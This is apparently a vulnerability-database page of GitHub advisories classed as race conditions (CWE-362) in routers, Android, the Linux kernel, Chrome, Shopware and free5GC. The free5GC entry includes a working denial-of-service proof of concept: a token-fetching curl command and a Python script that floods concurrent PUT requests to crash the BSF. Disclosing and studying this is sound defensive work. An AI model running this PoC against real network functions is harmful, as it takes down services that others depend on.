CWE-362
Allowed-with-ReviewConcurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Abstraction: Class · Status: Draft
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
2895 vulnerabilities reference this CWE, most recent first.
GHSA-26RW-CHJX-9XGJ
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46A RACE CONDITION on XQBACKUP causes a decompression path error on Xiaomi router AX3600 with ROM version =1.0.50.
{
"affected": [],
"aliases": [
"CVE-2020-14104"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-08T18:15:00Z",
"severity": "HIGH"
},
"details": "A RACE CONDITION on XQBACKUP causes a decompression path error on Xiaomi router AX3600 with ROM version =1.0.50.",
"id": "GHSA-26rw-chjx-9xgj",
"modified": "2022-05-24T17:46:49Z",
"published": "2022-05-24T17:46:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14104"
},
{
"type": "WEB",
"url": "https://privacy.mi.com/trust#/security/vulnerability-management/vulnerability-announcement/detail?id=26\u0026locale=zh"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-26VP-298R-FJ8F
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05In memory management driver, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android SoCAndroid ID: A-185193932
{
"affected": [],
"aliases": [
"CVE-2021-0533"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-21T17:15:00Z",
"severity": "HIGH"
},
"details": "In memory management driver, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android SoCAndroid ID: A-185193932",
"id": "GHSA-26vp-298r-fj8f",
"modified": "2022-05-24T19:05:42Z",
"published": "2022-05-24T19:05:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0533"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2021-06-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-275J-88F3-Q9G5
Vulnerability from github – Published: 2025-07-03 09:30 – Updated: 2025-12-16 18:31In the Linux kernel, the following vulnerability has been resolved:
VMCI: fix race between vmci_host_setup_notify and vmci_ctx_unset_notify
During our test, it is found that a warning can be trigger in try_grab_folio as follow:
------------[ cut here ]------------ WARNING: CPU: 0 PID: 1678 at mm/gup.c:147 try_grab_folio+0x106/0x130 Modules linked in: CPU: 0 UID: 0 PID: 1678 Comm: syz.3.31 Not tainted 6.15.0-rc5 #163 PREEMPT(undef) RIP: 0010:try_grab_folio+0x106/0x130 Call Trace: follow_huge_pmd+0x240/0x8e0 follow_pmd_mask.constprop.0.isra.0+0x40b/0x5c0 follow_pud_mask.constprop.0.isra.0+0x14a/0x170 follow_page_mask+0x1c2/0x1f0 __get_user_pages+0x176/0x950 __gup_longterm_locked+0x15b/0x1060 ? gup_fast+0x120/0x1f0 gup_fast_fallback+0x17e/0x230 get_user_pages_fast+0x5f/0x80 vmci_host_unlocked_ioctl+0x21c/0xf80 RIP: 0033:0x54d2cd ---[ end trace 0000000000000000 ]---
Digging into the source, context->notify_page may init by get_user_pages_fast and can be seen in vmci_ctx_unset_notify which will try to put_page. However get_user_pages_fast is not finished here and lead to following try_grab_folio warning. The race condition is shown as follow:
cpu0 cpu1 vmci_host_do_set_notify vmci_host_setup_notify get_user_pages_fast(uva, 1, FOLL_WRITE, &context->notify_page); lockless_pages_from_mm gup_pgd_range gup_huge_pmd // update &context->notify_page vmci_host_do_set_notify vmci_ctx_unset_notify notify_page = context->notify_page; if (notify_page) put_page(notify_page); // page is freed __gup_longterm_locked __get_user_pages follow_trans_huge_pmd try_grab_folio // warn here
To slove this, use local variable page to make notify_page can be seen after finish get_user_pages_fast.
{
"affected": [],
"aliases": [
"CVE-2025-38102"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-03T09:15:23Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nVMCI: fix race between vmci_host_setup_notify and vmci_ctx_unset_notify\n\nDuring our test, it is found that a warning can be trigger in try_grab_folio\nas follow:\n\n ------------[ cut here ]------------\n WARNING: CPU: 0 PID: 1678 at mm/gup.c:147 try_grab_folio+0x106/0x130\n Modules linked in:\n CPU: 0 UID: 0 PID: 1678 Comm: syz.3.31 Not tainted 6.15.0-rc5 #163 PREEMPT(undef)\n RIP: 0010:try_grab_folio+0x106/0x130\n Call Trace:\n \u003cTASK\u003e\n follow_huge_pmd+0x240/0x8e0\n follow_pmd_mask.constprop.0.isra.0+0x40b/0x5c0\n follow_pud_mask.constprop.0.isra.0+0x14a/0x170\n follow_page_mask+0x1c2/0x1f0\n __get_user_pages+0x176/0x950\n __gup_longterm_locked+0x15b/0x1060\n ? gup_fast+0x120/0x1f0\n gup_fast_fallback+0x17e/0x230\n get_user_pages_fast+0x5f/0x80\n vmci_host_unlocked_ioctl+0x21c/0xf80\n RIP: 0033:0x54d2cd\n ---[ end trace 0000000000000000 ]---\n\nDigging into the source, context-\u003enotify_page may init by get_user_pages_fast\nand can be seen in vmci_ctx_unset_notify which will try to put_page. However\nget_user_pages_fast is not finished here and lead to following\ntry_grab_folio warning. The race condition is shown as follow:\n\ncpu0\t\t\tcpu1\nvmci_host_do_set_notify\nvmci_host_setup_notify\nget_user_pages_fast(uva, 1, FOLL_WRITE, \u0026context-\u003enotify_page);\nlockless_pages_from_mm\ngup_pgd_range\ngup_huge_pmd // update \u0026context-\u003enotify_page\n\t\t\tvmci_host_do_set_notify\n\t\t\tvmci_ctx_unset_notify\n\t\t\tnotify_page = context-\u003enotify_page;\n\t\t\tif (notify_page)\n\t\t\tput_page(notify_page);\t// page is freed\n__gup_longterm_locked\n__get_user_pages\nfollow_trans_huge_pmd\ntry_grab_folio // warn here\n\nTo slove this, use local variable page to make notify_page can be seen\nafter finish get_user_pages_fast.",
"id": "GHSA-275j-88f3-q9g5",
"modified": "2025-12-16T18:31:28Z",
"published": "2025-07-03T09:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38102"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/00ddc7dad55b7bbb78df80d6e174d0c4764dea0c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1bd6406fb5f36c2bb1e96e27d4c3e9f4d09edde4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/468aec888f838ce5174b96e0cb4396790d6f60ca"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/58a90db70aa6616411e5f69d1982d9b1dd97d774"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6e3af836805ed1d7a699f76ec798626198917aa4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/74095bbbb19ca74a0368d857603a2438c88ca86c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/75b5313c80c39a26d27cbb602f968a05576c36f9"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/b4209e4b778e4e57d0636e1c9fc07a924dbc6043"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00008.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2764-3PQR-49W6
Vulnerability from github – Published: 2023-07-24 18:30 – Updated: 2024-07-24 18:31A race condition vulnerability was found in the vmwgfx driver in the Linux kernel. The flaw exists within the handling of GEM objects. The issue results from improper locking when performing operations on an object. This flaw allows a local privileged user to disclose information in the context of the kernel.
{
"affected": [],
"aliases": [
"CVE-2023-33951"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-362",
"CWE-413"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-24T16:15:11Z",
"severity": "MODERATE"
},
"details": "A race condition vulnerability was found in the vmwgfx driver in the Linux kernel. The flaw exists within the handling of GEM objects. The issue results from improper locking when performing operations on an object. This flaw allows a local privileged user to disclose information in the context of the kernel.",
"id": "GHSA-2764-3pqr-49w6",
"modified": "2024-07-24T18:31:15Z",
"published": "2023-07-24T18:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33951"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:6583"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:6901"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:7077"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1404"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:4823"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:4831"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-33951"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2218195"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-CAN-20110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-276G-W4M7-HP25
Vulnerability from github – Published: 2026-06-12 00:31 – Updated: 2026-06-12 03:31Race in Safe Browsing in Google Chrome on Mac prior to 149.0.7827.115 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a malicious file. (Chromium security severity: High)
{
"affected": [],
"aliases": [
"CVE-2026-12022"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-11T22:16:54Z",
"severity": "HIGH"
},
"details": "Race in Safe Browsing in Google Chrome on Mac prior to 149.0.7827.115 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a malicious file. (Chromium security severity: High)",
"id": "GHSA-276g-w4m7-hp25",
"modified": "2026-06-12T03:31:28Z",
"published": "2026-06-12T00:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12022"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_01962725236.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/516929496"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-27GV-MG7W-MM34
Vulnerability from github – Published: 2025-08-06 09:30 – Updated: 2025-11-03 23:00A race condition vulnerability has been identified in Shopware's voucher system of Shopware v6.6.10.4 that allows attackers to bypass intended voucher restrictions and exceed usage limitations.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "shopware/platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "6.6.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-7954"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-06T17:37:39Z",
"nvd_published_at": "2025-08-06T08:15:30Z",
"severity": "MODERATE"
},
"details": "A race condition vulnerability has been identified in Shopware\u0027s voucher system of Shopware\u00a0v6.6.10.4 that allows attackers to bypass intended voucher restrictions and exceed usage limitations.",
"id": "GHSA-27gv-mg7w-mm34",
"modified": "2025-11-03T23:00:57Z",
"published": "2025-08-06T09:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7954"
},
{
"type": "WEB",
"url": "https://github.com/shopware/shopware/issues/11245"
},
{
"type": "PACKAGE",
"url": "https://github.com/shopware/shopware"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Aug/17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Shopware race condition bypasses voucher restrictions"
}
GHSA-27HV-JCQ3-JJ36
Vulnerability from github – Published: 2025-01-19 12:31 – Updated: 2025-10-16 21:31In the Linux kernel, the following vulnerability has been resolved:
net: hns3: don't auto enable misc vector
Currently, there is a time window between misc irq enabled and service task inited. If an interrupte is reported at this time, it will cause warning like below:
[ 16.324639] Call trace: [ 16.324641] __queue_delayed_work+0xb8/0xe0 [ 16.324643] mod_delayed_work_on+0x78/0xd0 [ 16.324655] hclge_errhand_task_schedule+0x58/0x90 [hclge] [ 16.324662] hclge_misc_irq_handle+0x168/0x240 [hclge] [ 16.324666] __handle_irq_event_percpu+0x64/0x1e0 [ 16.324667] handle_irq_event+0x80/0x170 [ 16.324670] handle_fasteoi_edge_irq+0x110/0x2bc [ 16.324671] __handle_domain_irq+0x84/0xfc [ 16.324673] gic_handle_irq+0x88/0x2c0 [ 16.324674] el1_irq+0xb8/0x140 [ 16.324677] arch_cpu_idle+0x18/0x40 [ 16.324679] default_idle_call+0x5c/0x1bc [ 16.324682] cpuidle_idle_call+0x18c/0x1c4 [ 16.324684] do_idle+0x174/0x17c [ 16.324685] cpu_startup_entry+0x30/0x6c [ 16.324687] secondary_start_kernel+0x1a4/0x280 [ 16.324688] ---[ end trace 6aa0bff672a964aa ]---
So don't auto enable misc vector when request irq..
{
"affected": [],
"aliases": [
"CVE-2025-21651"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-19T11:15:10Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: hns3: don\u0027t auto enable misc vector\n\nCurrently, there is a time window between misc irq enabled\nand service task inited. If an interrupte is reported at\nthis time, it will cause warning like below:\n\n[ 16.324639] Call trace:\n[ 16.324641] __queue_delayed_work+0xb8/0xe0\n[ 16.324643] mod_delayed_work_on+0x78/0xd0\n[ 16.324655] hclge_errhand_task_schedule+0x58/0x90 [hclge]\n[ 16.324662] hclge_misc_irq_handle+0x168/0x240 [hclge]\n[ 16.324666] __handle_irq_event_percpu+0x64/0x1e0\n[ 16.324667] handle_irq_event+0x80/0x170\n[ 16.324670] handle_fasteoi_edge_irq+0x110/0x2bc\n[ 16.324671] __handle_domain_irq+0x84/0xfc\n[ 16.324673] gic_handle_irq+0x88/0x2c0\n[ 16.324674] el1_irq+0xb8/0x140\n[ 16.324677] arch_cpu_idle+0x18/0x40\n[ 16.324679] default_idle_call+0x5c/0x1bc\n[ 16.324682] cpuidle_idle_call+0x18c/0x1c4\n[ 16.324684] do_idle+0x174/0x17c\n[ 16.324685] cpu_startup_entry+0x30/0x6c\n[ 16.324687] secondary_start_kernel+0x1a4/0x280\n[ 16.324688] ---[ end trace 6aa0bff672a964aa ]---\n\nSo don\u0027t auto enable misc vector when request irq..",
"id": "GHSA-27hv-jcq3-jj36",
"modified": "2025-10-16T21:31:14Z",
"published": "2025-01-19T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21651"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/98b1e3b27734139c76295754b6c317aa4df6d32e"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/bcf430d3bb5525fc89a92a0c451c725ba1aa4306"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-27JV-R6JG-F5FR
Vulnerability from github – Published: 2026-03-25 12:30 – Updated: 2026-04-02 15:31In the Linux kernel, the following vulnerability has been resolved:
bridge: cfm: Fix race condition in peer_mep deletion
When a peer MEP is being deleted, cancel_delayed_work_sync() is called on ccm_rx_dwork before freeing. However, br_cfm_frame_rx() runs in softirq context under rcu_read_lock (without RTNL) and can re-schedule ccm_rx_dwork via ccm_rx_timer_start() between cancel_delayed_work_sync() returning and kfree_rcu() being called.
The following is a simple race scenario:
cpu0 cpu1
mep_delete_implementation() cancel_delayed_work_sync(ccm_rx_dwork); br_cfm_frame_rx() // peer_mep still in hlist if (peer_mep->ccm_defect) ccm_rx_timer_start() queue_delayed_work(ccm_rx_dwork) hlist_del_rcu(&peer_mep->head); kfree_rcu(peer_mep, rcu); ccm_rx_work_expired() // on freed peer_mep
To prevent this, cancel_delayed_work_sync() is replaced with disable_delayed_work_sync() in both peer MEP deletion paths, so that subsequent queue_delayed_work() calls from br_cfm_frame_rx() are silently rejected.
The cc_peer_disable() helper retains cancel_delayed_work_sync() because it is also used for the CC enable/disable toggle path where the work must remain re-schedulable.
{
"affected": [],
"aliases": [
"CVE-2026-23393"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T11:16:40Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nbridge: cfm: Fix race condition in peer_mep deletion\n\nWhen a peer MEP is being deleted, cancel_delayed_work_sync() is called\non ccm_rx_dwork before freeing. However, br_cfm_frame_rx() runs in\nsoftirq context under rcu_read_lock (without RTNL) and can re-schedule\nccm_rx_dwork via ccm_rx_timer_start() between cancel_delayed_work_sync()\nreturning and kfree_rcu() being called.\n\nThe following is a simple race scenario:\n\n cpu0 cpu1\n\nmep_delete_implementation()\n cancel_delayed_work_sync(ccm_rx_dwork);\n br_cfm_frame_rx()\n // peer_mep still in hlist\n if (peer_mep-\u003eccm_defect)\n ccm_rx_timer_start()\n queue_delayed_work(ccm_rx_dwork)\n hlist_del_rcu(\u0026peer_mep-\u003ehead);\n kfree_rcu(peer_mep, rcu);\n ccm_rx_work_expired()\n // on freed peer_mep\n\nTo prevent this, cancel_delayed_work_sync() is replaced with\ndisable_delayed_work_sync() in both peer MEP deletion paths, so\nthat subsequent queue_delayed_work() calls from br_cfm_frame_rx()\nare silently rejected.\n\nThe cc_peer_disable() helper retains cancel_delayed_work_sync()\nbecause it is also used for the CC enable/disable toggle path where\nthe work must remain re-schedulable.",
"id": "GHSA-27jv-r6jg-f5fr",
"modified": "2026-04-02T15:31:36Z",
"published": "2026-03-25T12:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23393"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/1fd81151f65927fd9edb8ecd12ad45527dbbe5ab"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3715a00855316066cdda69d43648336367422127"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d8f35767bacb3c7769d470a41cf161e3f3c07e70"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e89dbd2736a45f0507949af4748cbbf3ff793146"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-27PH-8Q4F-H7M7
Vulnerability from github – Published: 2026-05-08 22:41 – Updated: 2026-06-08 20:11Summary
free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.
This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.
Details
Validated against the BSF container in the official Docker compose lab.
- Source repo tag: v4.2.1
- Running Docker image: free5gc/bsf:v4.2.1
- Docker validation date: 2026-03-22
- BSF endpoint: http://10.100.200.11:8000
Read side (locked):
func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
sub, exists := c.Subscriptions[subId]
return sub, exists
}
Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()):
subscription.SubId = subId
bsfContext.BsfSelf.Subscriptions[subId] = subscription
Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.
Code evidence (paths in free5gc/bsf):
- Read side (locked):
- NFs/bsf/internal/sbi/processor/subscriptions.go:81
- NFs/bsf/internal/context/context.go:726
- NFs/bsf/internal/context/context.go:730
- Unsafe write side (the create-if-absent branch in PUT, no lock):
- NFs/bsf/internal/sbi/processor/subscriptions.go:111
- NFs/bsf/internal/sbi/processor/subscriptions.go:114
The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.
PoC
Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.
- Obtain a valid
nbsf-managementtoken from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'
- Send concurrent PUT requests against fresh
subIdvalues (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):
import json, threading, urllib.request
TOKEN = "<valid_nbsf_management_jwt>"
BASE = "http://10.100.200.11:8000/nbsf-management/v1"
PAYLOAD = json.dumps({
"events": ["PCF_BINDING_CREATION"],
"notifUri": "http://127.0.0.1/cb",
"notifCorreId": "1",
"supi": "imsi-208930000000003",
}).encode()
def send_put(i, n):
url = f"{BASE}/subscriptions/race-mix-{i}-{n}"
req = urllib.request.Request(url, data=PAYLOAD, method="PUT")
req.add_header("Authorization", f"Bearer {TOKEN}")
req.add_header("Content-Type", "application/json")
urllib.request.urlopen(req, timeout=2).read()
threads = []
for i in range(64):
for n in range(50):
threads.append(threading.Thread(target=send_put, args=(i, n)))
for t in threads: t.start()
for t in threads: t.join()
- BSF container logs (
docker logs bsf) show the Go runtime fatal that terminated the process:
[INFO][BSF][Proc] Handle ReplaceIndividualSubcription
fatal error: concurrent map read and map write
github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)
github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f
- Container state confirms exit code 2:
exited|2|0
Impact
Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.
Any party that holds (or can obtain) a valid nbsf-management token can:
- Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh subId values, deterministically tripping the runtime fatal and killing the BSF process.
- Repeat the trigger after every restart to sustain the outage.
No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/free5gc/bsf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44318"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-820"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:41:48Z",
"nvd_published_at": "2026-05-27T17:16:36Z",
"severity": "MODERATE"
},
"details": "### Summary\nfree5GC\u0027s BSF `PUT /nbsf-management/v1/subscriptions/{subId}` handler has an unsynchronized write on the global `Subscriptions` map. The handler first reads the map under `RLock()` via `BSFContext.GetSubscription(subId)`, but if the subscription does not exist, `ReplaceIndividualSubcription()` writes back to the same map directly without taking the mutex (`bsfContext.BsfSelf.Subscriptions[subId] = subscription`). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with `fatal error: concurrent map read and map write` (Go runtime panics that come from concurrent map access bypass `recover()` and terminate the process). The BSF container exits with code `2` -- the entire BSF SBI surface goes down until restart.\n\nThis endpoint requires a valid `nbsf-management` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.\n\n### Details\nValidated against the BSF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/bsf:v4.2.1`\n- Docker validation date: 2026-03-22\n- BSF endpoint: `http://10.100.200.11:8000`\n\nRead side (locked):\n```go\nfunc (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {\n c.mutex.RLock()\n defer c.mutex.RUnlock()\n\n sub, exists := c.Subscriptions[subId]\n return sub, exists\n}\n```\n\nUnsafe write side in the create-if-absent branch of `ReplaceIndividualSubcription` (no `Lock()`):\n```go\nsubscription.SubId = subId\nbsfContext.BsfSelf.Subscriptions[subId] = subscription\n```\n\nUnder concurrent traffic, the Go runtime detects the unsynchronized read/write on `c.Subscriptions` and aborts the process. Go\u0027s `concurrent map read and map write` fatal is NOT a normal panic -- it is unrecoverable, Gin\u0027s recovery middleware does not catch it, and the BSF process terminates.\n\nCode evidence (paths in `free5gc/bsf`):\n- Read side (locked):\n - `NFs/bsf/internal/sbi/processor/subscriptions.go:81`\n - `NFs/bsf/internal/context/context.go:726`\n - `NFs/bsf/internal/context/context.go:730`\n- Unsafe write side (the create-if-absent branch in PUT, no lock):\n - `NFs/bsf/internal/sbi/processor/subscriptions.go:111`\n - `NFs/bsf/internal/sbi/processor/subscriptions.go:114`\n\nThe normal locked helpers (`CreateSubscription()`, `GetSubscription()`, `UpdateSubscription()`, `DeleteSubscription()`) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.\n\n### PoC\nReproduced end-to-end against the running BSF at `http://10.100.200.11:8000`.\n\n1. Obtain a valid `nbsf-management` token from NRF:\n```\ncurl -sS -X POST \u0027http://10.100.200.3:8000/oauth2/token\u0027 \\\n -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n --data \u0027grant_type=client_credentials\u0026nfType=NEF\u0026nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57\u0026targetNfType=BSF\u0026scope=nbsf-management\u0027\n```\n\n2. Send concurrent PUT requests against fresh `subId` values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):\n```python\nimport json, threading, urllib.request\n\nTOKEN = \"\u003cvalid_nbsf_management_jwt\u003e\"\nBASE = \"http://10.100.200.11:8000/nbsf-management/v1\"\nPAYLOAD = json.dumps({\n \"events\": [\"PCF_BINDING_CREATION\"],\n \"notifUri\": \"http://127.0.0.1/cb\",\n \"notifCorreId\": \"1\",\n \"supi\": \"imsi-208930000000003\",\n}).encode()\n\ndef send_put(i, n):\n url = f\"{BASE}/subscriptions/race-mix-{i}-{n}\"\n req = urllib.request.Request(url, data=PAYLOAD, method=\"PUT\")\n req.add_header(\"Authorization\", f\"Bearer {TOKEN}\")\n req.add_header(\"Content-Type\", \"application/json\")\n urllib.request.urlopen(req, timeout=2).read()\n\nthreads = []\nfor i in range(64):\n for n in range(50):\n threads.append(threading.Thread(target=send_put, args=(i, n)))\nfor t in threads: t.start()\nfor t in threads: t.join()\n```\n\n3. BSF container logs (`docker logs bsf`) show the Go runtime fatal that terminated the process:\n```\n[INFO][BSF][Proc] Handle ReplaceIndividualSubcription\nfatal error: concurrent map read and map write\ngithub.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)\n github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f\n```\n\n4. Container state confirms exit code 2:\n```\nexited|2|0\n```\n\n### Impact\nUnsynchronized concurrent access (CWE-362) to a shared map (`BsfSelf.Subscriptions`), combined with missing synchronization on the create-if-absent branch (CWE-820). Go\u0027s runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin\u0027s `recover()` middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF\u0027s `nbsf-management` SBI surface (PCF binding lookups for SMF, AF -\u003e PCF binding discovery, etc.) until restart.\n\nAny party that holds (or can obtain) a valid `nbsf-management` token can:\n- Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh `subId` values, deterministically tripping the runtime fatal and killing the BSF process.\n- Repeat the trigger after every restart to sustain the 